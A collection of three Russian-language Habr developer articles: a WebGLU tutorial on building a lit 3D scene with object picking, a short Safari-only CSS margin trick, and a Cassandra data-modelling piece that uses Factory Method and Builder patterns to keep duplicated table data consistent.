Когда-то 3D в браузере было большой проблемой. К чему только не прибегали для создания объемной динамичной трехмерной графики в браузере: использованию псевдо-3D в SVG, построениям в canvas, использованию flash… Однако, прогресс не стоит на месте: наконец-то все современные браузеры стали поддерживать облегченную версию OpenGL (OpenGL ES 2.0) — WebGL. Это — довольно молодая технология, ей всего-то чуть больше года от роду. Однако, уже сейчас можно оценить ее мощь по всевозможным браузерным играм и примерам.
Из-за сравнительной молодости этой технологии, руководств по работе с ней не так уж и много. Почитать кое-что о работе с ней можно [здесь](http://learningwebgl.com/blog/?page_id=1217) ([здесь](http://russian-webgl.blogspot.com/2010/07/0_03.html) — перевод на русский). [Здесь](http://habrahabr.ru/post/112430/) можно узнать кое-что об основах WebGL.
Для облегчения работы с WebGL разработан ряд библиотек (правда, большинство из них еще довольно сырые). Применению одной из них — [webGLU](http://sourceforge.net/projects/webglu/) — для формирования простой сцены, освещенной одним источником-фонарем, и посвящена эта статья. [Здесь](http://eddyem.narod.ru/WGL/) можно посмотреть пример, а [отсюда](http://dl.dropbox.com/u/78717568/WGL.tgz) скачать полный архив для запуска его на своей машине.
Для начала немного напомню о разнице между OpenGL и WebGL. Так как WebGL базируется на GLES, эта технология значительно уступает OpenGL: в ней нет множества удобных расширений (ARB и т.п.), нет встроенной поддержки освещения, да даже GL\_QUADS в ней не поддерживаются… Однако, что поделаешь: больше никаких технологий, позволяющих воплотить 3D в вебе без сторонних плагинов нет.
Для расчета положения вершин и их цвета на итоговом изображении используются шейдеры. При простейшем построении трехмерных сцен шейдеры вызываются для каждой вершины, с которой они связаны. Но более сложные сцены описать таким образом невозможно. В этом случае прибегают к написанию шейдеров, формирующих текстуру, которая и образует итоговую сцену (пример можно увидеть [здесь](http://www.rhythm.com/~beason/webgl/WebGL%20Path%20Tracing.html). Возможно, в следующей статье я коснусь такого способа описания трехмерных сцен.
Библиотека WebGLU содержит скудную документацию и несколько примеров. Этого маловато для полноценной работы с библиотекой, поэтому приходится и ее исходники читать. Кроме того, библиотека довольно сырая, так что иногда приходится и поковыряться в ее коде.
Итак, для того, чтобы начать работу с WebGLU, нам необходимо подключить скрипт webglu.js и инициализировать его:
```
…
$W.initialize();
```
$W — основной объект пространства имен WebGLU. Бóльшую часть работы мы будем вести с ним. Кроме этого объекта есть объект $G (пространство имен GameGLU), упрощающий работу с управлением сценой при помощи мыши и клавиатуры. В WebGLU есть и кое-какие экспериментальные функции (например, CrazyGLU — для работы с псевдобуфером выбора и кое-какой физики). Все исходные файлы подгружаются WebGLU при запуске соответствующих функций (например, функция `useControlProfiles();` подгружает файл ControlProfiles.js), так что вручную подгружать скрипты помимо webglu.js не нужно.
После инициализации WebGLU мы можем приступить к созданию объектов сцены. Для создания объекта WebGLU предоставляет интерфейс `$W.Object(type, flags)`, где type — тип объекта (как в OpenGL):
* $W.GL.POINTS — каждая вершина отображается точкой,
* $W.GL.LINES — каждая пара из вершин 2n-1 и 2n соединяется линией,
* $W.GL.LINE\_LOOP — все вершины по порядку соединяются отрезками с замыканием на первую вершину,
* $W.GL.LINE\_STRIP — все вершины соединяются отрезками без замыкания,
* $W.GL.TRIANGLES — каждая тройка вершин (по порядку) образует треугольник,
* $W.GL.TRIANGLE\_STRIP — вершины по порядку соединяются треугольниками,
* $W.GL.TRIANGLE\_FAN — вершины соединяются треугольниками вокруг общей — первой — вершины;
flags — необязательные флаги: по умолчанию они равны `$W.RENDERABLE | $W.PICKABLE`, однако, если мы рисуем объект, который является дочерним, то следует указать явно `$W.PICKABLE`. В простейшем случае для каждой вершины объекта необходимо указать цвет, однако, мы вольны написать и сообственный шейдер (что мы и сделаем далее), позволяющий указывать общий цвет для всего объекта.
Итак, например, для создания цветных координатных осей, мы сделаем так:
```
var originLines = new $W.Object($W.GL.LINES);
originLines.vertexCount = 6;
originLines.fillArray("vertex",
[[0,0,0], [3,0,0], [0,0,0], [0,3,0], [0,0,0], [0,0,3]]);
with ($W.constants.colors){
originLines.fillArray("color",
[ RED, RED, GREEN, GREEN, BLUE, BLUE]);
}
```
Шейдер по-умолчанию использует следующие массивы для характеристики каждой вершины объекта:
* «vertex» — координаты вершин,
* «color» — цвета вершин,
* «normal» — нормали к вершинам,
* «texCoord» — координаты текстуры в данной вершине,
* «wglu\_elements» — индексы координат вершин (для сложных объектов).
Соответствующим образом (кроме индексов) названы соответствующие переменные в шейдерах (напомню, что переменные, характеризующие отдельную вершину в шейдере, имеют атрибут `attribute`).
Подключение шейдеров в WebGL реализуется при помощи метода `Material`. Единственным аргументом этого метода является путь к JSON-файлу описания шейдеров. Например, наши шейдеры, реализующие освещение, подключаются так:
```
var lights = new $W.Material({path:$W.paths.materials + "light.json"});
```
Сам файл light.json выглядит так:
```
{
name: "light",
program: {
name: "light",
shaders: [
{name:"light_vs", path:$W.paths.shaders+"light.vert"},
{name:"light_fs", path:$W.paths.shaders+"light.frag"}
]
}
}
```
Здесь name — общее имя «материала»; program → name — по-видимому, характеризует имя программы (возможно, создатель WebGL предполагал, что для одного материала может использоваться несколько программ, пока же этот параметр особой роли не играет); shaders — используемые шейдеры с указанием пути к ним.
Переменные, являющиеся общими для каждого объекта или всей системы (с атрибутом `uniform`), связываются с соответствующими переменными JavaScript при помощи метода `setUniformAction(n, f)` объекта `Materal`. Аргументы этого метода имеют слеюдующее значение: n — имя переменной в шейдере (в методе оно указывается как строка); f — функция типа `function(u, o, m)`, где u — объект uniform (), o — сам объект, m — материал. Например, связывание параметра «color» с цветом объекта выполняется так:
```
lights.setUniformAction('color', function(uniform, object, material){
$W.GL.uniform4fv(uniform.location, object.color); });
```
Для того, чтобы задать объекту нестандартный материал, используется свойство объекта `setMaterial(mat)`, где mat — нужный нам материал. Так как JavaScript позволяет «на лету» добавлять свойства в уже определенные объекты, мы можем легко вносить изменения в объекты для координирования их со своими шейдерами.
Создадим при помощи WebGLU вот такую сцену:

Здесь использовано наследование объектов: основной вертикальный цилиндр наследует второй цилиндр и верхнюю окружность. Та, в свою очередь, наследует нижнюю окружность и набор разноцветных сфер разного размера, размещаемых случайным образом в плоскости между двумя окружностями. Вся сцена освещается одним направленным источником света (оранжевым «фонариком»), обозначенным небольшой оранжевой сферой.
Для использования освещения нам обязательно нужно правильно просчитать нормали ко всем вершинам, которые будут обрабатываться нашими шейдерами-«осветителями». Сферу мы можем нарисовать при помощи функции `genSphere(n1,n2,rad)` библиотеки WebGLU, а вот цилиндры придется рисовать самостоятельно. Проще всего это сделать, заполнив боковую поверхность цилиндра связанными треугольниками:
```
function drawCylinder(R, H, n, flags){
var v = [], norm = [];
var C = new $W.Object($W.GL.TRIANGLE_STRIP, flags);
C.vertexCount = n * 2+2;
for(var i = -1; i < n; i++){
var a = _2PI/n*i;
var cc = Math.cos(a), ss = Math.sin(a);
v = v.concat([R*cc, R*ss,0.]);
v = v.concat([R*cc, R*ss,H]);
norm = norm.concat([-cc, -ss, 0.]);
norm = norm.concat([-cc, -ss, 0.]);
}
C.fillArray("vertex", v);
C.fillArray("normal", norm);
return C;
}
```
Этот способ, как вы убедитесь дальше, довольно примитивен: из-за того, что мы не помещаем вершины на поверхность цилиндра между его торцами, освещение для него рассчитывается неверно: если «фонарь» освещает только середину поверхности цилиндра, не захватывая его торцы, цилиндр отображается неосвещенным. Чтобы нарисовать цилиндр правильно, нужно добавить дополнительные промежуточные вершины и заполнить массив индексов для правильного отображения треугольников. Другой вариант — нарисовать объект составным (с дочерними объектами), из нескольких прямоугольников, каждый из которых состоит из набора треугольников.
Окружности мы будем рисовать при помощи функции
```
function drawCircle(R, n, w, flags){
var v = [];
var C = new $W.Object($W.GL.LINE_LOOP, flags);
C.vertexCount = n;
for(var i = 0; i < n; i++){
var a = _2PI/n*i;
v = v.concat([R*Math.cos(a), R*Math.sin(a),0.]);
}
C.fillArray("vertex", v);
if(typeof(w) != "undefined") C.WD = w;
else C.WD = 1.;
C.draw = function(){ // переопределяем для возможности изменения ширины линии
var oldw = $W.GL.getParameter($W.GL.LINE_WIDTH);
$W.GL.lineWidth(this.WD);
this.drawAt(
this.animatedPosition().elements,
this.animatedRotation().matrix(),
this.animatedScale().elements
);
$W.GL.lineWidth(oldw);
};
return C;
}
```
Чтобы иметь возможность менять толщину линий, которыми рисуются окружности, нам нужно будет переопределить функцию `draw()` данного объекта (т.к. функция `$W.GL.lineWidth(w)` устанавливает толщину линии w глобально — вплоть до следующего вызова этой функции). Если поменять `$W.GL.LINE_LOOP` у этого объекта на `$W.GL.POINTS`, окружности будут нарисованы точками. Размер точек будет зависеть от свойства `WD` объекта благодаря тому, что мы используем для него «материал» points, в котором указано
```
gl_PointSize = WD;
```
[Здесь](http://dl.dropbox.com/u/78717568/WGL/shaders/points.frag) можно посмотреть код фрагментного шейдера для отображения точек разного размера, а [здесь](http://dl.dropbox.com/u/78717568/WGL/shaders/points.vert) — шейдера вершин.
Итак, объекты мы создали. Настала очередь создать шейдеры для расчета освещения. В любом справочнике по OpenGL для расчета итогового цвета вершины при освещении несколькими источниками можно найти следующую формулу:
```
result_Color = mat_emission
+ lmodel_ambient * mat_ambient
Sum_i(D * S * [l_ambient * mat_ambient + max{dot(L,n),0}*l_diffuse*mat_diffuse
+ max{dot(s,n),0}^mat_shininess * l_specular * mat_specular
)
```
Здесь
* result\_Color — итоговый цвет вершины,
* mat\_X — свойства материала,
* l\_X — свойства i-го источника света
* X:
+ emission — излучаемый свет (т.е. материал — источник света),
+ lmodel\_ambient — общий рассеянный свет модели освещения (не зависит от источников, т.е. это — фоновый свет)
+ ambient — фоновый свет (цвет материала вне источников света, рассеянная световая составляющая i-го источника света)
* D — коэффициент ослабления света, D = 1/(kc + kl\*d + kq\*d^2),
+ d — расстояние от источника до вершины,
+ kc — постоянный коэффициент ослабления («серый фильтр»),
+ kl — линейный коэффициент ослабления,
+ kq — квадратичный коэффициент ослабления,
* S — эффект прожектора, вычисляется так:
= 1, если источник света — не прожектор (бесконечно удаленный параллельный пучок),
= 0, если источник — прожектор, но вершина вне конуса излучения,
= max{dot(v,dd),0}^GL\_SPOT\_EXPONENT в остальных случаях, здесь v — нормированный вектор от прожектора (GL\_POSITION) к вершине, dd (GL\_SPOT\_DIRECTION) — ориентация прожектора
* L = -v (нормированный вектор от вершины к источнику),
* n — нормаль к вершине,
* diffuse — рассеянный свет, не зависит от угла падения/отражения,
* s — нормированный вектор, равный сумме L и вектора от вершины к глазу,
* shininess — степень блеска (от 0 до 128, чем больше, тем более «блестящей» является поверхность),
* specular — цвет зеркального компонента.
Мы можем упростить эту формулу, если примем во внимание то, что обычно рассеянный и фоновый цвет материала совпадают, фоновый цвет прожектора совпадает с рассеянным цветом общего фонового освещения, а постоянный и линейный коэффициенты ослабления можно опустить. В итоге у нас получится [такой](http://dl.dropbox.com/u/78717568/WGL/shaders/light.frag) шейдер фрагментов. [Шейдер вершин](http://dl.dropbox.com/u/78717568/WGL/shaders/light.vert) должен будет помимо расчета координаты отображения вершины пересчитать, исходя из текущей для данного объекта модельно-видовой матрицы, положение вершины в пространстве и ориентацию ее нормали (это необходимо сделать, т.к. каждый объект мы можем двигать, масштабировать и вращать).
Теперь нам остается определить свойства нашего «фонаря»:
```
light = {
position: [0.,2.,1.5],
target: [0.,0.,-2.],
color: [1.,.5,0.,1.],
fieldAngle: 60.,
exponent: 5.,
distanceFalloffRatio: .02
};
```
при помощи `setUniformAction(…)` связать свойства «фонаря» и свойства объектов с переменными шейдеров и задать индивидуальные свойства каждому объекту, использующему данный «материал».
После того, как мы все это сделаем, анимируем сцену при помощи функции `$W.start(T);`, где T — минимальный интервал между отрисовкой сцены. Если наша сцена слишком сложная, нам придется отрисовывать ее после каждого изменения вручную при помощи функций `$W.util.defaultUpdate();` и `$W.util.defaultDraw();`. Эти функции не влияют на компиляцию шейдеров (которую необходимо выполнять лишь при внесении кардинальных изменений в сами шейдеры), поэтому наша сцена будет «подвисать» лишь в момент начальной загрузки (при инициализации), а также немного притормаживать при изменении размера окна.
Напоследок скажу, что функция вращения сцены (точнее — перемещения камеры вокруг сцены) из WebGLU не очень удобная, поэтому стоит определить свою функцию перемещения. [Здесь](http://dl.dropbox.com/u/78717568/WGL/index.html) (а также по указанному в самом начале адресу примера) вы можете посмотреть, как выглядит итоговый html-файл.
Статья получилась довольно большой, при том, что я не упомянул о работе с буфером выбора (если нам необходимо реализовать отождествление объектов по щелчку мыши), отображении объектов при смешивании (а это нужно для использовании компонента прозрачности в цвете объекта), отсечении «тыльных» поверхностей фигур и многом другом. Надеюсь, эта моя статья о WebGL не последняя (а может быть мое начинание продолжит кто-нибудь еще).
UPD:Для обеспечения возможности выбора я пытался воспользоваться функциями getObjectIDAt и usePicking из файла crazyglu.js, однако, успехом эти попытки не увенчались: сыровата библиотечка. Поэтому функция была написана самостоятельно.
Итак, что необходимо для реализации буфера выбора.
Во-первых, мы не можем пользоваться функцией `$W.start(p)`, иначе рискуем «нарваться» на обновление изображения по таймеру в момент, когда мы пишем в буфер выбора. Поэтому нам необходимо самим позаботиться об отрисовке сцены после каждого изменения в ней.
Во-вторых, нам необходимо создать «глобальный материал» (`MatPick`) для буфера выбора и инициализировать его, а также инициализировать сам буфер:
```
// создаем "материал" для буфера выбора
MatPick = new $W.Material({path:$W.paths.materials + "pick.json"});
MatPick.setUniformAction('pickColor', function(uniform, object, material){
var colr = [0.,0.,0.,0.];
var id = object.id;
for(var i = 0; i < 4; i++){
colr[i] = (id & 0xff)/256.;
id >>= 8;
}
$W.GL.uniform4fv(uniform.location, colr); }
);
// инициализируем буфер выбора
try{
$W.pickBuffer = new $W.Framebuffer();
$W.pickBuffer.attachTexture($W.GL.RGBA, $W.canvas.width, $W.canvas.height, $W.GL.COLOR_ATTACHMENT0);
$W.pickBuffer.attachRenderbuffer($W.GL.DEPTH_COMPONENT16, $W.canvas.width, $W.canvas.height, $W.GL.DEPTH_ATTACHMENT);
}catch (e) {
console.error(e);
}
```
Реализацию выбора делаем по стандартной схеме: идентификатор объекта (целое 32-битное число, желательно положительное, можно и отрицательное, но не равное -1) разбивается на байты, которые преобразуются в число с плавающей точкой — компонент цвета объекта. float гарантирует нам, что погрешности округления не дадут возможности случайной ошибки (когда идентификатор a преобразуется в a±1). Шейдеры для отображения буфера выбора столь просты, что я даже не буду их приводить здесь.
В-третьих, необходимо немного изменить код файла Objects.js (для инициализации идентификаторов по-умолчанию), а также Util.js (для сохранения содержимого буфера рисования после отображения его содержимого на экран, иначе выбор работать не будет).
Ну и наконец, нам нужно написать функцию выбора, которая будет отрисовывать объекты в буфер выбора и получать значение цвета под курсором. Для этого после отображения всех объектов мы сохраним их «материалы» в массив `oldmat`, а при рисовании буфера выбора временно сменим все «материалы» на наш `MatPick`, заполним буфер и получим значение цвета в нужной точке. А уже по значению цвета определим идентификатор объекта (или отстутсвие оного, если id==-1):
```
function pick(X,Y){ // выбор
var ccolr = $W.GL.getParameter($W.GL.COLOR_CLEAR_VALUE);
var blend = $W.GL.getParameter($W.GL.BLEND);
if(blend) $W.GL.disable($W.GL.BLEND);
$W.GL.clearColor(1., 1., 1., 1.); // фон имеет идентификатор "-1"
$W.pickBuffer.bind(); // активируем "невидимый" буфер
$W.util.defaultUpdate();
$W.util.clear();
$W.util.setupMatrices();
for (var i = 0; i < $W.objects.length; i++) {
$W.objects[i].material = MatPick; // сменяем "материал"
}
$W.util.defaultDraw(); // отрисовываем объекты
for (var i = 0; i < $W.objects.length; i++) {
$W.objects[i].material = oldmat[i]; // восстанавливаем "материалы"
}
var pix = new Uint8Array(4);
$W.GL.readPixels(X,$W.canvas.height-Y,1,1,$W.GL.RGBA, $W.GL.UNSIGNED_BYTE, pix);
$W.pickBuffer.unbind(); // отключаем буфер
if(blend) $W.GL.enable($W.GL.BLEND);
$W.GL.clearColor(ccolr[0],ccolr[1],ccolr[2],ccolr[3]);
var id = pix[0]+(pix[1]<<8)+(pix[2]<<16)+(pix[3]<<24);
delete pix;
var str = "X=" + X + ", Y=" + Y+ ", ID="+id;
alert(str);
}
Вот и все: по щелчку на объекте будет появляться всплывающая подсказка с его идентификатором.
Внимание: в google-chrome буфер выбора не работает (как и изменение масштаба колесом мыши).
``` | https://habr.com/ru/post/143680/ | null | ru | null |
# Безопасный хак для Safari
Имеем: навороченную форму без таблиц
Нужно: подвинуть съезжающий из-за сглаживания шрифтов label в Safari
Примечание: подвинуть безопасно, а не css3-свойствами.
Вуаля! есть замечательное свойство safari only позволяющее подвинуть что-угодно куда-угодно влево-вправо!
**-webkit-margin-start**
Provides the width of the starting margin.
*If the writing direction is left-to-right, this value overrides margin-left.* If the writing direction is right-to-left, this value overrights margin-right. In Safari 2.0, it is -khtml-margin-start.
собственно:
`label#neposlushnaya {-khtml-magin-start: 5px; -webkit-margin-start: 5px}`
и этот хак *никогда* несработает в другом браузере кроме Safari и других имеющих общий с ними движок (Webkit)
Понравилось?
Загляните в [Safari CSS Reference](http://developer.apple.com/documentation/AppleApplications/Reference/SafariCSSRef/Articles/StandardCSSProperties.html#//apple_ref/doc/uid/TP30001266-SW1) — там много интересного.
Кстати подобные фишки и официальные странички с описаниями проприентарных свойств есть у каждого браузера. | https://habr.com/ru/post/22266/ | null | ru | null |
# Теория категорий в API для консистентности Apache Cassandra
**DISCLAIMER**
> Ожидается, что читатель понимает структуру первичного ключа в таблицах и необходимость дублирования данных в Apache Cassandra. Статья даст лишь краткие объяснения, т.к. проектирование модели данных не является предметом данной статьи. Важно отметить, что примеры кода приводятся на Java в упрощенном варианте, которые при желании можно переложить на любой другой язык
>
>
**TLDR: Если представить паттерн Factory Method как предел в терминах теории категорий, т.е. кортеж с проекциями, и инициализировать фабрику при помощи паттерна Builder, то можно получить удобный API для создания объектов с дублирующимся данными, которые нужно сохранить в Apache Cassandra**
Мотивация
---------
Apache Cassandra - база данных, в которой запись информации гораздо быстрее чтения, поэтому особенность моделирования схемы данных для Apache Cassandra состоит в том, чтобы убрать лишние расходы на чтение. Так исключается все, что может затормозить чтение: объединения, слияния, группировки, фильтрация по колонкам без "индексов".
В реляционных базах данных модель данных проектируется от сущности, т.е. Данные ⟶ Модель ⟶ Приложение. Для Apache Cassandra подход выворачивается наизнанку, и проектирование данных ведется для конкретного приложения, т.е. Приложение ⟶ Модель ⟶ Данные, поэтому перед программистом встают следующие проблемы:
* Дублирование данных. Каждый запрос читает данные из одной таблицы, которая хранит все необходимые данные, а значит одна операция записи в Apache Cassandra может выполнять несколько вставок одинаковых данных в несколько таблиц. Дублирование данных ведет к неконсистентному состоянию, что крайне нежелательно для надежных систем.
* Инициализация обязательных колонок. Каждый запрос должен выполняться быстро, а значит должен быть некий "индекс" для получения данных за константное или, в худшем случае, логарифмическое время. Каждая колонка, участвующая в "индексе", должна быть проинициализирована.
В статье предлагается вариант организации клиентского API для решения проблем с консистентностью данных и инициализации требуемых полей на базе комбинации паттернов проектирования [**Factory Method**](https://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B1%D1%80%D0%B8%D1%87%D0%BD%D1%8B%D0%B9_%D0%BC%D0%B5%D1%82%D0%BE%D0%B4_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)), [**Builder**](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D1%80%D0%BE%D0%B8%D1%82%D0%B5%D0%BB%D1%8C_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)) и [**Finite State Machine**](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D0%B5%D1%87%D0%BD%D1%8B%D0%B9_%D0%B0%D0%B2%D1%82%D0%BE%D0%BC%D0%B0%D1%82)
Предметная область
------------------
Рассмотрим приложение для отелей. Основные сценарии:
* фильтрация отелей по звездности,
* поиск отелей рядом с метро,
* получение списка номеров в отеле,
* просмотр удобств в номере,
* бронирование номеров в отеле.
### Схема данных
#### Диаграмма Чеботко
По списку сценариев строится **Диаграмма Чеботко** - графическое представление физической модели данных Apache Cassandra.
Диаграмма Чеботко для приложения с отелями### Пояснение к диаграмме Чеботко:
* Q1, ..., Q6 - список запросов, для которых спроектирована модель базы данных. Невозможно эффективно обслужить запросы, которые не были изначально заложены в модель.
* Стрелки указывают на таблицы, которые обслуживают конкретные запросы:
+ если в начале стрелки находится таблица, то данные из нее используются для значений фильтра для запроса под стрелкой. Например, чтобы получить номера отеля из `rooms_by_hotel`, нужно знать идентификатор отеля `hotel_id`, который хранится в `hotels_by_id` (Q5);
+ если начало стрелки не указано, значит запрос не требует значений для фильтра или эти значения известны. Например, для фильтрации отелей по звездности необходимо указать уровень звездности, значениями которого являются цифры от 1 до 5 (Q2).
* Комбинация полей, помеченных `K` и `C`, образует первичный ключ:
+ `K` - маркер ключа раздела/партиционирования (**partitioning key**). На поля ключа партиционирования можно накладывать условия лишь на равенство;
+ `C` - маркер ключа кластеризации (**clustering key**). На поля ключа кластеризации можно накладывать условия на `=`, `>`, `<`, `>=`, `<=`, `BETWEEN` в **пределах раздела**;
+ `C↓` - маркер ключа кластеризации, значения в котором хранятся в порядке убывания. Строки одного раздела физически хранятся на диске в отсортированном виде по колонкам, входящим в ключ кластеризации. По умолчанию используется порядок по возрастанию.
* Типы полей исключены для облегчения схемы.
#### Таблицы
Согласно диаграмме Чеботко в базе имеются следующие сущности:
* `hotels_by_id` - список отелей;
* `rooms_by_hotel` - список номеров в отеле;
* `reservations_by_hotel` - информация о забронированных номерах в отеле;
* `hotels_by_metro` - отели рядом со станцией метро;
* `hotels_by_stars` - отели по звёздности;
* `amenities_by_room` - удобства в номере.
#### Наблюдения
* Можно заметить, что существуют поля, которые содержатся одновременно в нескольких таблицах. Например:
+ `hotel_name` (имя отеля): содержится в `hotels_by_id`, `room_by_hotel`, `reservations_by_hotel`, `hotels_by_stars`, `hotels_by_metro`,
+ `hotel_id` (идентификатор отеля): содержится в `hotels_by_id`, `room_by_hotel`, `reservations_by_hotel`, `hotels_by_stars`, `hotels_by_metro`,
+ `stars` (уровень звёздности): содержится в `hotels_by_id`, `hotels_by_stars`,
+ `room_id` (идентификатор номера): содержится в `room_by_hotel`, `amenities_by_room`, `reservations_by_hotel`.
* Дублирование данных позволяет избежать операций join, что является общепринятым методом проектирования модели данных для Apache Cassandra. Так, чтобы получить список отелей рядом с определенной станцией метро необходимо выполнить один запрос к таблице `hotels_by_metro`.
* Добавление данных в базу данных потребует одновременной записи одинаковых данных в разные таблицы.
#### Отображение таблиц на java объекты
Классы для таблиц предметной области намеренно облегчены, в них нет геттеров и сеттеров, а так же конструктора по умолчанию.
```
@Table(value = "hotels_by_metro")
public class HotelByStation {
@PrimaryKeyColumn(name = "station_name", type = PrimaryKeyType.PARTITIONED, ordinal = 0)
@CassandraType(type = CassandraType.Name.TEXT)
private String station;
@PrimaryKeyColumn(name = "hotel_name", type = PrimaryKeyType.CLUSTERED, ordinal = 1)
@CassandraType(type = CassandraType.Name.TEXT)
private String hotelName;
@Column("hotel_id")
@CassandraType(type = CassandraType.Name.UUID)
private UUID hotelId;
public HotelByStation(String station, String hotelName, UUID hotelId) {
this.station = station;
this.hotelName = hotelName;
this.hotelId = hotelId;
}
}
```
```
@Table(value = "hotels_by_id")
public class HotelById {
@PrimaryKeyColumn(name = "hotel_id", type = PrimaryKeyType.PARTITIONED, ordinal = 0)
@CassandraType(type = CassandraType.Name.UUID)
private UUID hotelId;
@Column("hotel_name")
@CassandraType(type = CassandraType.Name.TEXT)
private String hotelName;
@Column("stars")
@CassandraType(type = CassandraType.Name.TINYINT)
private int stars;
@Column("description")
@CassandraType(type = CassandraType.Name.TEXT)
private String description;
public HotelById(UUID hotelId, String hotelName, int stars, String description) {
this.hotelId = hotelId;
this.hotelName = hotelName;
this.stars = stars;
this.description = description;
}
}
```
```
@Table(value = "hotels_by_stars")
public class HotelByStars {
@PrimaryKeyColumn(name = "stars", type = PrimaryKeyType.PARTITIONED, ordinal = 0)
@CassandraType(type = CassandraType.Name.TINYINT)
private int stars;
@PrimaryKeyColumn(name = "hotel_name", type = PrimaryKeyType.CLUSTERED, ordinal = 1)
@CassandraType(type = CassandraType.Name.TEXT)
private String hotelName;
@CassandraType(type = CassandraType.Name.UUID)
@Column("hotel_id")
private UUID hotelId;
public HotelByStars(int stars, String hotelName, UUID hotelId) {
this.stars = stars;
this.hotelName = hotelName;
this.hotelId = hotelId;
}
}
```
Задача
------
Необходимо написать код, который добавит новый отель в базу данных. При добавлении нового отеля необходимо выполнить запись в таблицы: `hotels_by_id`, `hotels_by_metro`, `hotels_by_stars`
### Решение в общем виде
Для работы с Apache Cassandra будет использоваться DataStax драйвер для Spring Data. В общем виде решение будет выглядеть следующим образом:
```
public class HotelInserter {
public static void addNewHotel(CassandraOperations ops) {
List entities = getEntities(/\* опущено \*/);
ops.batchOps(BatchType.LOGGED)
.insert(entities)
.execute();
}
private static List getEntities(UUID hotelId, String hotelName, int stars, String description, String station) {
return null;
}
}
```
#### Наблюдения
* Метод `HotelInserter#addNewHotel`:
+ принимает объект типа `CassandraOperations` для работы с базой данных Apache Cassandra;
+ запускает вставку объектов через `LOGGED BATCH`.
* Метод `HotelInserter#getEntities`:
+ возвращает список из трех объектов (по одному на таблицу), которые нужно вставить в базу;
+ создает объекты, которые разделяют большое количество одинаковых данных.
### Решение 1. Создание объектов на месте
Самым простым вариантом будет создание объектов на месте.
```
public class HotelInserter {
public static void addNewHotel(CassandraOperations ops) {
List entities = getEntities(/\* опущено \*/);
// опущено
}
private static List getEntities(UUID hotelId, String hotelName, int stars, String description, String station) {
HotelById hotelById = new HotelById(hotelId, hotelName, stars, description);
HotelByStars hotelByStars = new HotelByStars(stars, hotelName, hotelId);
HotelByStation hotelByStation = new HotelByStation(station, hotelName, hotelId);
return Arrays.asList(hotelById, hotelByStars, hotelByStation);
}
}
```
#### Наблюдения
Аналогичный код можно найти в репозиториях DataStax с примерами работы с базой данных Apache Cassandra.
#### Преимущества
К плюсам можно отнести простоту решения.
#### Недостатки
Из минусов можно выделить:
* ригидность - на момент создания объектов значения всех полей должны быть известны;
* повышенная когнитивная нагрузка - программист должен быть внимателен при указании аттрибутов в конструкторах;
* нарушение принципа Separation of Concerns - объединены этапы конструирования объектов и их использование,
### Решение 2. Использование фабричного метода
#### Идея
Абстрагировать процесс создания объектов можно при помощи вариации паттерна проектирования **Factory Method** (Фабричный метод). Обычно **Factory Method** выставляет один метод, который позволяет создать объект одного типа. Но ничто не мешает объявить дополнительные методы, которые будут создавать объекты других типов:
```
public class HotelFactory {
private final int stars;
private final String description;
private final String hotelName;
private final String station;
private final UUID hotelId;
HotelFactory(final int stars,
final String description,
final String hotelName,
final String station,
final UUID hotelId) {
this.stars = stars;
this.description = description;
this.hotelName = hotelName;
this.station = station;
this.hotelId = hotelId;
}
public HotelById createHotelById() {
return new HotelById(hotelId, hotelName, stars, description);
}
public HotelByStars createHotelByStars() {
return new HotelByStars(stars, hotelName, hotelId);
}
public HotelByStation createHotelByStation() {
return new HotelByStation(station, hotelName, hotelId);
}
}
```
Если остановиться на этом, то решение будет похоже на предыдущий метод, но с одной дополнительной абстракцией. Добавление паттерна проектирования **Builder** сильно улучшит решение:
```
public class Builder {
private int stars;
private String description;
private String hotelName;
private String station;
private UUID hotelId;
// создание фабрики
public HotelFactory createHotelFactory() {
return new HotelFactory(stars, description, hotelName, station, hotelId);
}
public Builder setStars(int stars) {
this.stars = stars;
return this;
}
public Builder setDescription(String description) {
this.description = description;
return this;
}
public Builder setHotelName(String hotelName) {
this.hotelName = hotelName;
return this;
}
public Builder setStation(String station) {
this.station = station;
return this;
}
public Builder setHotelId(UUID hotelId) {
this.hotelId = hotelId;
return this;
}
}
```
#### Применение
При помощи комбинации **Factory Method** и **Builder** можно создать требуемые объекты:
```
public class HotelInserter {
public static void addNewHotel(CassandraOperations ops) {
List entities = getEntities(/\* опущено \*/);
// опущено
}
private static List getEntities(UUID hotelId, String hotelName, int stars, String description, String station) {
HotelFactory hotelFactory = new Builder()
.setHotelId(hotelId)
.setHotelName(hotelName)
.setDescription(description)
.setStars(stars)
.setStation(station)
.createHotelFactory(); // Builder -> Factory
// Создание объектов через фабрику
HotelById hotelById = hotelFactory.createHotelById();
HotelByStars hotelByStars = hotelFactory.createHotelByStars();
HotelByStation hotelByStation = hotelFactory.createHotelByStation();
return Arrays.asList(hotelById, hotelByStars, hotelByStation);
}
}
```
#### Наблюдения
Предложенный подход можно рассмотреть так:
* класс **Builder** определяет множество полей, которые объединены каким-то признаком (причастностью к отелю в данном случае);
* модифицированный шаблон **Factory Method** реализует проекции из этого множества. Каждая проекция выделяет некоторое подмножество полей, из которого создается конкретный объект.
Таким образом, если появится новая таблица, то будет необходимо добавить новую проекцию/метод в фабрику. При этом клиентский код не сломается, что может привести базу в неконсистентное состояние.
#### Преимущества
* гибкость - больше нет необходимости инициализировать все поля сразу, заполнение полей в **Builder** может быть произвольным;
* сниженная когнитивная нагрузка - код становится самодокументирующимся;
* разделение кода создания объектов и кода использования объектов.
#### Недостатки
* Программист должен следить за тем, указал ли он полностью все необходимые значения. Если пропустить какой-то аттрибут, который участвует в первичном ключе, то можно получить проблемы.
* Объект **Builder** подвержен мутациям, а значит возможны гонки данных в многопоточной среде.
